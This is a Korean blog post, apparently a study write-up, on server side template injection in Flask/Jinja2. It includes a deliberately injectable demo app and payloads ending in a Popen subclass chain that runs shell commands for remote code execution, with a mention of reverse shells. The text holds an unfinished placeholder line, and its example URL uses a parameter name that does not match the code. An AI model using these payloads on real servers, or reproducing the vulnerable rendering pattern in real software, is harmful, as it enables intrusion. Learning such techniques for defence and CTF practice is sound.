[Web] Server Side Template Injection

GunDDak·2023년 4월 5일
0

사실 SSTI라는 공격 기법을 알게 된 것은 그리 오래 되지는 않았다. 저번에 갔던 해킹캠프에서 Bob 취약점 분석 트랙분께서 CTF 때 알려주셨던 계기로 관심있게 조사를 하게 되었는데 마침 Dreamhack에서도 비슷한 문제가 있어 이렇게 정리하게 되었다.

Web Template

처음 이 취약점을 접하고 나서는 '템플릿'이라는 것이 정확히 무엇인지 몰라서 조금 어쩌구 저쩌구ㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁㅁ

웹 템플릿 엔진에는 여러가지 종류가 있고 그에 대한 테스트 벤치이다. 정상적으로 연산에 성공하면 위로, 실패하면 아래로 가면 된다.

CSR vs SSR

이 취약점을 이해하기 위해서는 먼저 CSR과 SSR에 대한 기초적인 지식이 필요하다.

CSR은 Client Side Rendering의 약자로 페이지를 구성하는 요소들에 대한 정보를 서버에서 클라이언트로 '전달'만 해주고 그 데이터를 처리하여 브라우저 단에서 렌더링을 하는 방식이다.

반면에 SSR은 Server Side Render으로 이용자가 원하는 데이터에 대한 처리를 서버단에서 다 처리하고 (응답 html에 이미 담긴 상태) 결과물만 클라이언트로 전달하는 방식을 의미한다.

SSTI

이제 본격적인 SSTI에 대한 이야기를 할 차례인데 제목에서 알 수 있듯이 Server Side Template Injection을 의미한다. 기본적인 동작 원리는 SSTI 취약점을 트리거 할 수 있는 코드를 가진 Server Side Rendering을 지원하는 사이트에 그에 맞는 템플릿 엔진 문법을 사용하여 악의적인 요청을 보내는 방식이다. 보통 RCE로 귀결된다.

실습(Flask)

이제 여러가지 중에서 Flask를 이용한 SSTI 실습을 해보려고 한다.

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    title="SSTI Vuln Page"
    cmd = request.args.get('cmd')
    template='''
    <!DOCTYPE html>
    <html>
            <h1>{{title}}</h1>
            <h2>%s</h2>

    </html>
    '''%cmd
    return render_template_string(template,title=title)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

다음은 초기 화면이다.

일단 flask는 기본적으로 jinja2 템플릿을 이용하므로 위에 있는 테스트 코드에 의하면 {{code}}를 입력하면 안에 있는 연산이 되어야 한다.

get 방식으로 cmd라는 인자를 받아 이를 템플릿에 로드하는 것이므로 {{9*9}}라고 해보면


이런 식으로 '9*9'라는 문자열이 아니라 실제로 "연산이 된" 81이 나오게 된다.

이제 SSTI 취약점을 트리거 할 수 있는 걸 알았으니 RCE까지 가보자.
그전에 config라고 하면 이런 다양한 정보도 나온다.

그리고 파이썬에서 사용할 수 있는 클래스를 보기 위해

{{''.__class__.__mro__[1].__subclasses__()}}

를 입력하면 밑과 같이 많은 클래스들이 뜨는데 거기서 서브프로세스를 생성하여 명령어를 실행해주는 popen 클래스를 찾는다.

(개인 환경마다 차이가 있으며 본인은 465번째에 있었음)

그 후 popen을 그냥 쓰듯이 인자를 주면

http://127.0.0.1:8080/?ssti={{%27%27.__class__.__mro__[1].__subclasses__()[464](%27id%27,shell=True,stdout=-1).communicate()}}

업로드중..
다음처럼 명령어를 실행한 결과가 나오게 된다. 즉 원격 코드 실행에 성공했다는 뜻이고 리버스쉘으로도 공격을 이어갈 수 있다.

References

CSR vs SSR
https://www.youtube.com/watch?v=YuqB8D6eCKE
SSTI 취약점 총 분석 및 테스트 코드
https://me2nuk.com/SSTI-Vulnerability/

profile
tak_e_life

0개의 댓글

관련 채용 정보